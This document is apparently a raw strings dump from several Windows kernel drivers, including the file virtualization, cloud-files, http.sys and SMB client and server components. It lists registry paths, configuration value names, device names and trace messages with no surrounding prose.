\Microsoft\MF \Microsoft\Network \Microsoft\Provisioning \Microsoft\RAC \Microsoft\Search \Microsoft\User Account Pictures \Microsoft\Windows \Microsoft\Windows Defender \Microsoft\Windows NT \Microsoft\WPD \Outlook Express \MSAgent64 \SysWOW64\AdvancedInstallers \SysWOW64\CatRoot \SysWOW64\CatRoot2 \SysWOW64\CCM \SysWOW64\ccmsetup \SysWOW64\certsrv \SysWOW64\Clients \SysWOW64\CodeIntegrity \SysWOW64\Com \SysWOW64\config \SysWOW64\dhcp \SysWOW64\dns \SysWOW64\Drivers \SysWOW64\DriverStore \SysWOW64\FxsTmp \SysWOW64\GroupPolicy \SysWOW64\GroupPolicyUsers \SysWOW64\hcs \SysWOW64\IAS \SysWOW64\icsxml \SysWOW64\ime \SysWOW64\Inetsrv \SysWOW64\Ipmi \SysWOW64\Licensing \SysWOW64\LogFiles \SysWOW64\lserver \SysWOW64\manifeststore \SysWOW64\migration \SysWOW64\migwiz \SysWOW64\MSDTC \SysWOW64\msmq \SysWOW64\MUI \SysWOW64\ndf \SysWOW64\OOBE \SysWOW64\Printing_Admin_Scripts \SysWOW64\RAS \SysWOW64\RemInst \SysWOW64\restore \SysWOW64\rms \SysWOW64\RpcProxy \SysWOW64\Setup \SysWOW64\SPPUI \SysWOW64\SMI \SysWOW64\Speech \SysWOW64\Spool \SysWOW64\sr-Latn-CS \SysWOW64\srm \SysWOW64\sysprep \SysWOW64\Tasks \SysWOW64\tssesdir \SysWOW64\wbem \SysWOW64\WDI \SysWOW64\wfp \SysWOW64\windows media \SysWOW64\Windows System Resource Manager \SysWOW64\winevt \SysWOW64\winrm \SysWOW64\wins \SysWOW64\WMI Config \SysWOW64\XPSViewer Exclude \SystemRoot \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Services\luafv\Parameters ExcludedExtensionsAdd ExcludedExtensionsRemove aspx netmodule vsmacros winmd \??\ \device BypassIO not supported on LUA controlled files Parameters AccessDeniedMask CallControl LogControl EnableDelayedVirtualization EnableExtensionBasedExclusion DisableStaticInclusion FileList PoolAllocationLimit EnableLUA EnableVirtualization \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System Security \VirtualStore\ :$DATA :$INDEX_ALLOCATION \Microsoft\Windows\ \Registry\Machine\System\CurrentControlSet\Control\hivelist \Registry\User\ _Classes ::$DATA Name Not Available \System Volume Information\Wcifs.md NULL wcifs Instance wcifs Outer Instance Bypass not supported on virtualized file PsGetVersion WmiQueryTraceInformation WmiTraceMessage EtwUnregister EtwRegisterClassicProvider \Device\vmsmb\VSMB-{dcc079ae-60ba-4d07-847c-3493609c0870}\os\ \WcifsPort \Registry\Machine\System\CurrentControlSet\Control BootContainer DebugOptions WCIFSContainerMode Hvsi InstanceName BootContainerGuid ReparseTag NumLargeEventFailures SummaryCount NumBucketLimitReached NumAllocationFailures MaxEntriesFlushed MinEntriesFlushed MaxEntriesStored TotalEntriesFlushed NumFlushes wcifs Instance BlockedApps :${3D0CE612-FDEE-43f7-8ACA-957BEC0CCBA0}.SyncRootIdentity :${3D0CE612-FDEE-43f7-8ACA-957BEC0CCBA0}. \$Extend\$Reparse:$R:$INDEX_ALLOCATION UNKNOWN :${3D0CE612-FDEE-43f7-8ACA-957BEC0CCBA0}.Bitmap.%d.%c%c Unavailable \System32\LogFiles\CloudFiles\ \DosDevices\ CldFlt0.etl SeConvertStringSecurityDescriptorToSecurityDescriptor NULL PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister CldFlt CldFltUpper 409500 180451 \BaseNamedObjects\CfProgressEvent D:PAI(A;;FA;;;SY)(A;;FR;;;AU) D:P(A;;GA;;;AU) \CLDMSGPORT \Registry\Machine\System\CurrentControlSet\Services\%s\Parameters USMsgTimeoutMillis ImagePath TELASSERT \SystemRoot \Registry\Machine\System\CurrentControlSet\Services\%s\Debug Flags %s\%s \Registry\Machine\OSDATA\Software\Microsoft\%s\Debug BreakOnStatus BreakOnHydration BreakOnOpen \Registry\Machine\System\CurrentControlSet\Services\ Microsoft Primitive Provider SHA256 \Parameters DoNotRegisterUpperInstance Enabled SOFTWARE\Policies\Microsoft\CloudFiles ObjectLength %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x AppName \Registry\Machine PackageName \DriverData\CloudFiles\ SOFTWARE AlwaysExposePlaceholders CldFltLog \\?\GLOBALROOT\DriverData\CloudFiles\ Enabling Cldflt Tracing failed. Starting Cldflt Tracing failed. Failed to check for VAIL support Failed checking wcosJunctionsKeyPath \Registry\Machine\System\WCOSJunctions Failed to create file cache device Failed to check WCOS Reg Key DoNotRegisterUpperInstance Fail to subscribe to OOBE complete WNF notification Fail to check setup progress Failed to adjust filter altitude Failed to register upper instance with filter manager Altitude Failed to open instance key FltStartFiltering failed Failed to register with filter manager Failed to initialize HSM backend MinFreeSpace \INSTANCES\ ~#%&{} CancelPopulation CancelNotification CldStreamCancelIO Session0 SecondAttach PopulatePlaceholders CldHsmHydrateData .lock NoImagePath LongFileExtension NoFileExtension _vti_ :${3D0CE612-FDEE-43f7-8ACA-957BEC0CCBA0}.Metadata Bypass not supported on a partial file SummaryCount NumFlushes MaxEntriesStored TotalEntriesFlushed MaxEntriesFlushed MinEntriesFlushed NumBucketLimitReached NumAllocationFailures NumLargeEventFailures \Registry\Machine\System\CurrentControlSet\Services\CldFlt\Debug File Name Unavailable \Registry\Machine\System\CurrentControlSet\Control \??\Volume \UnionfsPort Bypass not supported on a file from a layer BootContainerGuid Hvsi UvmLayerRelativePath CompositefsBoot _Tombstones UfsTombstones .bin .tmp System Volume Information ::$DATA {%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} SummaryCount NumLargeEventFailures NumAllocationFailures NumBucketLimitReached MinEntriesFlushed MaxEntriesFlushed TotalEntriesFlushed MaxEntriesStored NumFlushes TELASSERT Storage QoS Filter - Flow Storage QoS Filter - Volume \DefaultFlow Unknown PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister \Registry\Machine\System\CurrentControlSet\Control\QoS LatencyTargetMicroseconds MinimumDeviceLatencyMicroseconds UnreservedCapacityPercent CapacityCompensationPercent EnableTestFeatures DefaultFlowBypassPolicy StorageBaseIOSize \storqosfltport NULL Unknown NULL Name Not Available \??\UNC Bypass not supported on virtualized file \??\ \BindFltPort PsGetVersion WmiQueryTraceInformation WmiTraceMessage EtwUnregister EtwRegisterClassicProvider \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine Parameters PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister AllowLLTDioOnDomain AllowLLTDioOnPublicNet ProhibitLLTDioOnPrivateNet EnableLLTDio \Device\lltdio EnableNetTestAccessCheck NULL lltdio Rspndr Mapper \Callback\LLTDCallback \Registry\Machine\Software\Policies\Microsoft\Windows\LLTD Mslldp\Parameters\Agents\%s-%u RtlQueryRegistryValuesEx \DosDevices\LLDPCTRL \Device\LLDPCTRL D:P(A;;GA;;;SY)(A;;GA;;;BA) PsGetVersion WmiTraceMessage WmiQueryTraceInformation ChassisId Mslldp\Parameters ComputerName AdminStatus MsgTxHold MsgTxInterval ReinitDelay TxCreditMax MsgFastTx TxFastInit MsLldp KmdfLibrary NULL ComputerName\ComputerName EtwRegisterClassicProvider EtwUnregister \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MsLldp Rspndr Mapper \Callback\LLTDCallback SupportInfo \Registry\Machine\System\CurrentControlSet\Services\Tcpip\Parameters HostName \Registry\Machine\System\CurrentControlSet\Services\Qwave\Parameters EtwRegisterClassicProvider PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwUnregister Parameters \Device\IPNAT \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine AllowRspndrOnDomain AllowRspndrOnPublicNet ProhibitRspndrOnPrivateNet EnableRspndr \Device\rspndr NULL rspndr DetailedIconImage IconImage \Registry\Machine\Software\Policies\Microsoft\Windows\LLTD \DEVICE \DosDevices\WanArp \DosDevices\WanArpV6 \Parameters DisableSpoofingProtection EnableLinkDownAtStop DisableNATOnS2SExternalInterface EnableNATOnDialInInterface \Device\WANARP \Device\WANARPV6 D:P(A;;GA;;;SY) 0123456789ABCDEF WANARP WANARPV6 RRAS WANARP WANARP Ipv4 Send Callout WANARP Callout for Demand Dial WANARP Ipv4 Forward Callout WANARP Ipv6 Send Callout WANARP Ipv6 Forward Callout IoCreateDeviceSecure IoValidateDeviceIoControlAccess SeConvertStringSecurityDescriptorToSecurityDescriptor Properties Class NoDisplayClass NoUseClass Security DeviceType DeviceCharacteristics Exclusive \Registry\Machine\System\CurrentControlSet\Control\Class {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} \??\ 0https:// http:// ehttp://+: http://*: https://+: https://*: no children RequestQueue \Device\Http\Communication ServerSession HostnamePort <> \Registry\Machine\System\CurrentControlSet\Services\Http\Parameters\SslSniBindingInfo CCS/%s:%d \Registry\Machine\System\CurrentControlSet\Services\Http\Parameters\SslBindingInfo EnableHttp2Icw DefaultSslCertCheckMode DefaultSslRevocationFreshnessTime DecryptOnSspiThread DefaultSslRevocationUrlRetrievalTimeout AppId Http2WindowSizeTls DefaultFlags SslCertStoreName SslCertHash Http2MaxSettingsPerFrame Http2MaxSettingsPerMinute TlsRestrictions DefaultSslCtlStoreName DefaultSslCtlIdentifier MaxBufferedSendBytes HttpSendBufferingFlags Http2MaxConcurrentClientStreams MaxReceiveBufferSize ErrorHeaders %s:%d %s\%s \httperr %.7s?.%s 0123456789abcdef NULL System Schannel xn-- Upper Lower HTTP http.sys SHA256 localhost children no parent parent= [alloc'd siblings] [shifted] http://+%s \Registry\Machine\System\CurrentControlSet\Services\Http\Parameters \KernelObjects\LowNonPagedPoolCondition \KernelObjects\HighNonPagedPoolCondition \KernelObjects\LowMemoryCondition CompactMode EnableIrqlEnforcement SendEndpointInfoToAsc TlsUseStaticServerHello AscThrottleLimit EnableSslLargeBuffer RssStatusCheckControl EnableHttp3 EnableHttp3Push EnableExtendedEvents ExtendedEventsFrequency EnableAltSvc EnableTelAsserts Http3Alpn AllowNonprivilegedCaptureCred DebugFlags DisableMultipleLanes BasicTokenCacheTTL DisableServerHeader DisableErrorResponse ExpandedSendBuffering UriEnableCache UriMaxCacheMegabyteCount UriMaxUriBytes ExpandedUriMaxUriBytes UriCacheRangeChunk UriScavengerPeriod MaxConnections EnableSslTokenBinding EnableSslSessionTicket EnableTlsClientHelloCaching DisableTls12 DisableLegacyTls DisableTls13 CertificateScavengerPeriod SslDecryptOnSspiThread EnableSslCloseNotify DisableSslClientCertChainCacheOnlyUrlRetrieval EnableSslHostCheck DisableOcspStapling DisableAia EnableHttp2Tls Http2WindowSize Http2MaxPingsPerMinute Http2MaxServerResetsPerMinute Http2MaxClientResetsPerMinute Http2MaxClientResetsGoaway Http2MaxPrioritiesPerStream Http2MaxResetsPerStream Http2MaxUnknownsPerStream Http2MinimumSendWindowSize Http2MaxWindowUpdatesPerSend Http3CancelPushThrottleFactor Http3QpackMaxUnusedElementsPerMinute Http3QpackUnusedAllotmentPerUsedElement Http3QpackAllowUnackedEviction Http2SettingsAckTimeout Http2SettingsMaxPendingBytes Http2SettingsAckCheck ClientSessionEnable Http3MaxBlockedStreams EnableFastForwarding DefaultAuthHardeningLevel DisableLocalSystemAccountAuthToken MaxRequestBytes MaxFieldLength EnableNonUTF8 FavorUTF8 PercentUAllowed AllowRestrictedChars AllowUnescapedRestrictedChars UrlSegmentMaxLength UrlSegmentMaxCount AllowCaseInsensitiveVerbs AllowWeakHeaderNameSyntax AllowWeakHeaderValueSyntax AllowMultipleUseragentHeaders MaxRequestRangesAllowed DisableRequestSmuggling NormalizeIpv4MappedIpv6Hostname AllowLenientChunkExtParsing EnableErrorLogging ErrorLoggingRolloverType ErrorLoggingLocaltimeRollover ErrorLogFileTruncateSize ErrorLoggingFields ErrorLoggingExtendedFields ErrorLoggingDir \SystemRoot\System32\LogFiles \Registry\Machine\System\CurrentControlSet\Control\Nls\CodePage \Registry\Machine\System\CurrentControlSet\Control\ComputerName\ComputerName ComputerName \HTTPERR .log 0x%x \Device\Http \Device\Http\ReqQueue \Device\Http\ClientSession \extend \u_extend \inetsv \u_inetsv \ncsa \u_ncsa \raw .ibl \dosdevices\UNC \SystemRoot \??\ %.5s%02.2d%02d%02d%02d.%s %.3s%02.2d%02d%02d%02d.%s %.5s%02.2d%02d%02d.%s %.3s%02.2d%02d%02d.%s %.5s%02.2d%02d.%s %.3s%02.2d%02d.%s %.10s%u.%s %.8s%u.%s %s%c.%s %s%d.%s \Registry\Machine\System\CurrentControlSet\Services\Http Parameters ListenOnlyList NTLM ChainingModeCBC 3DES ECDH Type=%d Index=%d CCS/%s/%s CCS/%s ROOT SslCertHash1 SslCertHash2 SslCertHash3 SslCertHash4 SslCertHash5 SslCertHash6 SslCertHash7 SslCertHash8 SslCertStoreName1 SslCertStoreName2 SslCertStoreName3 SslCertStoreName4 SslCertStoreName5 SslCertStoreName6 SslCertStoreName7 SslCertStoreName8 Flags DisabledProtocols AlpnIds CryptoSettings AlgorithmUsage MinBitLength MaxBitLength CngAlgorithmId ChainingModes \Registry\Machine\System\CurrentControlSet\Services\Http\Parameters\SslScopedCcsBindingInfo \Registry\Machine\System\CurrentControlSet\Services\Http\Parameters\SslCcsBindingInfo CCS=%d %s\%d IdleConnectionTimeout HeaderWaitTimeout Http2MinSendRate Http3MinControlSendRate HashDigestLength ObjectLength Basic WDigest Kerberos Negotiate target_missing \Registry\Machine\System\CurrentControlSet\Services\Http\Parameters\UrlAclInfo HTTP Service HTTP Service Url Groups HTTP Service Request Queues Http Global Counters PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister HTTP.SYS HTTP Message HttpUp HttpLow ClientSession SummaryCount NumAllocationFailures NumLargeEventFailures MinEntriesFlushed NumBucketLimitReached TotalEntriesFlushed MaxEntriesFlushed NumFlushes MaxEntriesStored ImagePath TELASSERT \Device\NetbiosSmb BowserEnablePnp BowserSendPnp BowserReadPnp IrpStackSize MailslotDatagramThreshold GetBrowserListThreshold BrowserServerDeletionThreshold BrowserDomainDeletionThreshold BrowserFindMasterTimeout BrowserMinimumConfiguredBrowsers MaximumBrowseEntries RefuseReset BowserBuildTransportAddress BowserSendDatagram WriteMailslotEx \Parameters %wZ%s \Device\LanmanDatagramReceiver \LanmanServerAnnounceEvent Parameters BowserProcessNetlogonMailslotWrite eBowserProcessMailslotWrite \Registry\Machine\System\CurrentControlSet\Services\bowser\Parameters EnableMailslots \Registry\Machine\Software\Policies\Microsoft\Windows\Bowser filecoauth sihost Security \Device\MPS \DosDevices\MpsDevice Notifies the user. Performs logging. Allows secondary connections. Initiates deep protocol inspection on the flow. Connection-oriented protocol packet inspection. PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister NULL mpsdrv.sys Unknown App Windows Firewall Troubleshooting Session Windows Firewall: troubleshooting callout Windows Firewall: troubleshooting filter @GMT- NULL \Device\ \Device\NetBT_ \Device\Tcpip6_ \Device\Tcpip_ \Registry\Machine\System\CurrentControlSet\Services\LanmanWorkStation\Linkage Bind MRxSmbParameters BindingPriority *SMBSERVER \Registry\Machine\System\CurrentControlSet\Services\LanmanWorkstation\AlternativePorts quic \Device\LanmanDatagramReceiver \Registry\Machine\System\CurrentControlSet\Services\LanmanWorkStation\Parameters \MultichannelConstraint \Registry\Machine\System\CurrentControlSet\Services\MRxSmb\Parameters AlternativePortMappings RtlQueryRegistryValuesEx \Registry\Machine\Software\Policies\Microsoft\Windows\LanmanWorkstation Routing nSHA256 RequireSecureNegotiate CipherSuiteOrder \Registry\Machine\System\CurrentControlSet\Services\LanmanServer\Parameters Guid HashDigestLength AES-CMAC AES-GMAC ncalrpc SMBClient-AllowRdmaUsage rdma SMB Client Shares PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister AES_128_GCM, AES_128_CCM, AES_256_GCM, AES_256_CCM LanmanWorkStationParameters \Device\LanmanRedirector \Registry\Machine\Software\Policies\Microsoft\Windows PoliciesWindows \LanmanWorkstation AllowOfflineFilesForCAShares EnableHandleCachingForCAFiles AllowInsecureGuestAuth EnableCompressedTraffic DisableCompression MaxSmb2Dialect MinSmb2Dialect BlockNTLM RequireEncryption EnableAlternativePorts AuditServerDoesNotSupportEncryption AuditServerDoesNotSupportSigning AuditInsecureGuestLogon EnableSMBQUIC BlockNTLMServerExceptionList DisabledSMBQUICServerExceptionList DisableShadowLoopback IgnoreBindingOrder EnforceTransportBindings SmbDirectDataPlacementSecurity DisableNotifications InvalidAuthenticationCacheLifetime DisableDirCacheOnDiskIdOptimization BypassFetchNetworkOpenInfoFullStateMachine ForceSMBEncryptionOverQuic RequireSecuritySignature AsyncDecryptionThreshold AsyncEncryptionThreshold AsyncCompressionThreshold EnableCompressibilitySampling CompressibilitySamplingSize CompressibleThreshold AllowGuestAuthWhenSigningRequired ExtendedSessTimeout MaxNumOfExchangesForPipelineReadWrite EnableCachingOnWriteOnlyOpens DisableByteRangeLockingOnReadOnlyFiles FileInfoCacheLifetime FileNotFoundCacheLifetime DirectoryCacheLifetime DisableBandwidthThrottling DisableLargeMtu DisableResilientHandles OffLineFileTimeoutIntervalInSeconds FileInfoCacheEntriesMax DirectoryCacheEntriesMax FileNotFoundCacheEntriesMax DirectoryCacheEntrySizeMax DisableMultiChannel WindowSizeThreshold ConnectionCountPerNetworkInterface ConnectionCountPerRssNetworkInterface ConnectionCountPerRdmaNetworkInterface MaximumConnectionCountPerServer ServerTransportInfoTimeout ReadAheadGranularity RdmaReadThreshold RdmaWriteThreshold RdmaPreferredInlineSendSize DormantDirectoryTimeout RdmaChannelSelectWindowSizeThreshold CollectSessionStatistics AuditSmb1Access MaxRtTime DisableCARetryOnInitialConnect IoTimeoutForCAShareMultiplier IoTimeoutForCAShare DisablePerFilePowerState EnableRdmaSupport MinimumSessionKeyLength DisableRDMAConnections LiveDumpFilter SkipCertificateCheck ServerQuicPort ServerRdmaPort ServerTcpIpPort EnablePerfMeasurements EnableSMBClientNoisyEventLog QueryInformationFailIfFileNameUnsupported VolumeFeatureSupportCacheLifetime VolumeFeatureSupportCacheEntriesMax FileAbeStatusCacheLifetime NegotiateClearGlobalEncryptionFlagEnabled SMBClientParseFailureTelemetryEnabled SMBClientParseFailureTelemetryThrottlingEnabled AllowZeroFileIdForShareRoot SMBClient-AllowInsecureGuestAuthByDefault SMBClient-RequireSigningByDefault \Registry\Machine\System\CurrentControlSet\Control\ComputerName ComputerName \ComputerName \ActiveComputerName \REGISTRY\Machine\Software\Microsoft\Windows Nt\CurrentVersion CurrentBuildNumber ProductName Microsoft CSDVersion CurrentVersion ServersWithExtendedSessTimeout LMCompatibilityLevel \Registry\Machine\System\CurrentControlSet\Control\Lsa Start \Registry\Machine\System\CurrentControlSet\Services\MRxSmb20 EnableSecuritySignature ExtendedSessionTimeoutInterval \device\Tcpip_Loopback LanmanWorkStation \Registry\Machine\SYSTEM\CurrentControlSet\Services\Lanmanworkstation\Parameters\Routing LocalAddress MRXSMB 000000000000 \MAILSLOT \Device\MailslotRedirector (NH0 *H( .ipv6-literal.net SHA512 ChainingMode AuthTagLength ChainingModeCCM ChainingModeGCM SP800_108_CTR_HMAC AES_128_GCM AES_128_CCM AES_256_GCM AES_256_CCM SigningAlgorithmOrder AES_GMAC AES_CMAC HMAC_SHA_256 ObjectLength /CompressionAlgorithmSuiteOrder XPRESS XPRESS_HUFF LZNT1 PATTERN_V1 Locked Unlocked Invalid value for Dpl State SummaryCount NumLargeEventFailures NumAllocationFailures NumBucketLimitReached MinEntriesFlushed MaxEntriesFlushed TotalEntriesFlushed MaxEntriesStored NumFlushes HowToUseWskAndQuic \Device\SmbDirect \Registry\Machine\System\CurrentControlSet\Services\LanmanWorkstation\Parameters SMBDirect \Registry\Machine\System\CurrentControlSet\Services\ SMBDirectServiceName ClientPreferredSendSize SMBDirectDeviceName \Device\VMBus\{4d12e519-17a0-4ae4-8eaa-5270fc6abdb7}- -0000 VSMB- EDP://EvaluationFlags EDP://ExemptEnterpriseIds EDP://EnterpriseIds EDP://PolicyFlags PEDP://IntentEnterpriseId \Device\Srv2 NULL @GMT- PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister CIPHER_NONE AES_128_GCM AES_128_CCM AES_256_GCM AES_256_CCM cifs netntlm Negotiate SMB2ClientReqVF .ipv6-literal.net SummaryCount NumLargeEventFailures NumAllocationFailures NumBucketLimitReached MinEntriesFlushed MaxEntriesFlushed TotalEntriesFlushed MaxEntriesStored NumFlushes !netntlm \DosDevices\Global\vmmemctl Security File \Device\RdmaSmbIpv6_ \Device\RdmaSmbIpv4_ \Device\ .IPV6-LITERAL.NET 127.0.0.1 d\Device\NetbiosSmb CIFS SHA256 \Device\Tcpip_ \Device\Tcpip6_ %0*u \Device\SmbQUICIpv4_ \Device\SmbQUICIpv6_ %ws%ws_ HashDigestLength ncalrpc SrvNet\Parameters RtlQueryRegistryValuesEx \Device\SrvAdmin PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister SMBServer-AllowRdmaUsage \Device\SrvNet \Device\NetbiosSmb NULL LanmanServer \Device\NetBT_ MaxConnections MaxUnAuthenticatedConnections MinFreeConnections MaxFreeConnections StripDnsOnAliasCheck ValidateTargetName DebugMode ValidateShareScopeNotAliased BackChannelSessionRequests ValidateAliasNotCircular ValidateShareScope CloseSessionsOnFileIdlePowerDown BackChannelFileRequests AllowPdcActivationsOnBattery ServerQuicPort EnabledTransports \Registry\Machine\System\CurrentControlSet\Services\LanmanServer\Parameters DisableNetBufferLookAside \Registry\Machine\Software\Policies\Microsoft\Windows\LanmanServer RestrictNamedPipeAccessViaQuic AuditSmb1Access AuditClientSpnSupport EnableRdmaSupport EnableSMBQUIC \Device\SmbDirect SMBDirectServiceName \Registry\Machine\System\CurrentControlSet\Services\ SMBDirect SMBDirectDeviceName (4H0 8DH@ HTHP SMBServer-ListenOverQUIC \Registry\Machine\System\CurrentControlSet\Control\ComputerName\ComputerName ComputerName SHA512 ChainingMode AuthTagLength ChainingModeCCM AES-CMAC AES-GMAC ChainingModeGCM SP800_108_CTR_HMAC CipherSuiteOrder SigningAlgorithmOrder AES_GMAC AES_CMAC AES_128_GCM AES_128_CCM AES_256_GCM AES_256_CCM HMAC_SHA_256 ObjectLength /PATTERN_V1 CompressionAlgorithmSuiteOrder XPRESS XPRESS_HUFF LZNT1 NullSessionPipes NullSessionShares samr browser srvsvc wkssvc NoRemapPipes ClusterPipes netlogon lsarpc \Device\LanmanServer \Device\Srv2 srvsvc.dll \Registry\Machine\System\CurrentControlSet\Services\LanmanServer\Parameters\FsctlAllowList StateModifying Code SMBServer-WindowsMaxInSMBConns Ipc$ SrvAllowedServerNames \Device\SRVADMIN\3 \Device\SRVADMIN\4 \Device\SRVADMIN\1 \Device\SRV2 \Device\SRVADMIN\2 LocalHost MajorSequence \Registry\Machine\System\CurrentControlSet\Services\SrvNet\Parameters LPT4 LPT5 LPT6 LPT7 LPT1 LPT2 LPT3 COM3 COM4 COM5 COM6 LPT8 LPT9 COM1 COM2 CLOCK$ COM7 COM8 COM9 Directory WORKGROUP \Registry\Machine\System\CurrentControlSet\Services\LanmanServer\Parameters vHonorCipherSuiteOrder ncalrpc ABELevel HonorSigningAlgorithmSuiteOrder HonorCompressionAlgorithmSuiteOrder MaxThreadsPerNumaNode \Registry\Machine\Software\Policies\Microsoft\Windows\LanmanServer Negotiate asynchronouscredits OplockBreakTimeout Guid smb2creditsmax MaxReadWriteSizeForWSK \Registry\Machine\System\CurrentControlSet\Services\ResumeKeyFilter \Device\NamedPipe\ NULL SMB Server IPC$ SMB Server Shares SMB Server Sessions PRIMARY SMB 2.0 Provider(%d) UNKNOWN PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister \Device\Srv2 \KernelObjects\HighNonPagedPoolCondition Smb2Validate Smb2Execute AES_128_GCM, AES_128_CCM, AES_256_GCM, AES_256_CCM SMB2 MaxAsyncDecryptionThreads DisableLiveDumps StalledIoLiveDumpThresholdInSec SMBServer-AllowRemoteShadowCopyAccess RequireSecuritySignature SMBServer-RequireSigningByDefault ReAuthenticationTimeout InvalidAuthenticationDelayTimeInMs SMBServer-InvalidAuthenticationDelayTimeInMs AutoDisconnectTimeoutV2 EnableExtendedTraces KeepAliveTime ResilientKeepAliveTime SmbMaxRT RefreshSnapShotsSchedule treathostasstablestorage EnableSequentialRead DisableLeasing DisableDirLeasing EnableDirHandleLeasing DisableMultiChannel EncryptData DisableEncryption DisableSmbEncryptionOnSecureConnection EnableNotifications SmbDirectDataPlacementSecurity EnableCompressedTraffic DisableCompression RejectUnencryptedAccess MaxChannelPerSession MaxSessionPerConnection SMBServer-AllowHashPublication ResilientTimeout StartIdleTimeoutInSecond DurableHandleV2TimeoutInSecond PendingClientTimeoutInSecond HashPublicationForPeerCaching HashSupportVersion SmbServerNameHardeningLevel AsymmetryMode EnableS4U2SelfForClaims CAPRequiresS4U2SelfForClaims EnableSessionPerfCounters ForceBackchannel EnableSyncRedirect ShareLockTimeout AllowOpeningDosNames LiveDumpsSetting ParseFailureTelemetryEnabled ParseFailureTelemetryThrottlingEnabled MinimumSessionKeyLength ForceSyncRedirectOnAsymmetricShare MinSmb2Dialect MaxSmb2Dialect SingleCreditChargePerSpecifiedRequest EnableAuthRateLimiter AuditClientDoesNotSupportEncryption AuditClientDoesNotSupportSigning AuditInsecureGuestLogon SMB2ReqVF @GMT-%04d.%02d.%02d-%02d.%02d.%02d SMB 2.0 Server \DfsServer Kickoff time expired Idle power down policy Idle session, no open files cSESSION USER FILE session setup failed before the SPN could be queried Srv2Create SummaryCount NumLargeEventFailures NumAllocationFailures NumBucketLimitReached MinEntriesFlushed MaxEntriesFlushed TotalEntriesFlushed MaxEntriesStored NumFlushes Seed \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\PeerDist\SecurityManager\Restricted SHA512 ObjectLength System Volume Information %s%03d 0123456789ABCDEF V%02d Bucket SmbHashes .hash PsGetVersion WmiTraceMessage WmiQueryTraceInformation NULL \Device\Ndis EtwRegisterClassicProvider EtwUnregister \Device\MMCSS\TaskIndex \MmThread \Notification \TaskIndex ==> NduRegisterInterfaceByteCountLimitExceeded SizeTAdd FwpsNetBufferListRetrieveContext ==> NduFindOrAssociateNblContext ==> NduInboundMacClassify <== NduFindOrAssociateNblContext System NduCreateNblContext FwpsNetBufferListAssociateContext Ran out of memory at: NduCreateNblContext ==> NduOutboundMacClassifyProcessSingleNbl ==> NduOutboundMacClassify NduFindOrAssociateNblContext FwpsNetBufferListRetrieveContext(OldNblContext) NduHandleNblContextRemoved(OldNblContext) System\IPv6 Control Message SizeTMult RtlStringCchCopyW <== NduSerializeNetStatistics System\SMB <== NduUpdateProcessEnergyContext RtlStringCbCatW <== NduInboundMacClassify <== NduOutboundMacClassifyProcessSingleNbl ULongLongAdd ==> NduUpdateProcessEnergyContext ==> NduCreateAndAssociateFlowContextToTransportLayer <== NduCreateFlowContext ==> NduSetAppMetaDataListForRegularFlow <== NduInboundTransportClassify ==> NduFlushProcessEnergyData ==> NduRetrieveUserAppStatsFromPassiveTables ==> NduSnapshotStatistics NduCreateFlowContext ==> NduOutboundTransportClassify ==> NduTokenFindAppContextByCookie ==> NduConvertProcessStatsEntryToAppStats ==> NduTokenReleaseAppContext ==> NduConvertInterfaceStatsListToUserInterfaceStatsArray ==> NduTokenProcessWorkItemsQueue ==> NduQueueWorkItemForProcessEnergyData <== NduTokenProcessNetioEnergyCost <== NduFindOrCreateProcessStats ==> NduSerializeNetStatistics <== NduCreateAndAssociateFlowContextToTransportLayer ==> NduFindOrCreateAppStatsEx <== NduConvertProcessStatsListToAppStatsArray ==> NduProcessUpdateProcessEnergyQueue ==> NduCleanupProcessStats <== NduConvertProcessStatsEntryToAppStats <== NduQueueWorkItemForProcessEnergyData ==> NduTokenProcessNetioEnergyCost <== NduCleanupAppStats ==> NduHandleNblDuplicated ==> NduCloneAppMetaDataList <== NduFlowEstablishedClassify ==> NduFlowEstablishedClassify <== NduFlowDelete NduDispatchDpcOnCore(QueryStats) ==> NduTokenInitializeTokenStats <== NduProcessQueryStatistics ==> NduTokenComputeTokensWorkerRoutine ==> NduConvertProcessStatsListToAppStatsArray ==> NduSerializeStatistics ==> NduCreateProcessStats <== NduCreateProcessStats ==> NduRetrieveInterfaceEnergyFromPassiveList <== NduWaitForDpcCompletion ==> NduUpdateProcessEnergyWorkerRoutine <== NduHandleNblContextRemoved ==> NduProcessQueryEnergy ==> NduHandleNblCloned <== NduHandleNblCloned ==> NduProcessInterfaceByteCountLimit Windows Network Data Usage (NDU) Provider Microsoft Corporation NULL ==> DriverEntry NduCreatePerInterfaceStats NduCreateStatsContext NduCreateDeviceContext NduCreateWfpContext NduCreateDeviceIoObject NduInitializeWfpContext NduCreateVpnContext NduCreateInterfacePowerContext NduNpiProviderInitialize <== DriverEntry ==> NduDrvUninitialize <== NduDrvUninitialize ==> NduDrvUnload <== NduDrvUnload \Device\NduIoDevice \GLOBAL??\NduIoDevice DeviceSecurity ==> NduDriverDispatch <== NduDriverDispatch ==> NduDriverDispatchCreate <== NduDriverDispatchCreate ==> NduDriverDispatchClose <== NduDriverDispatchClose 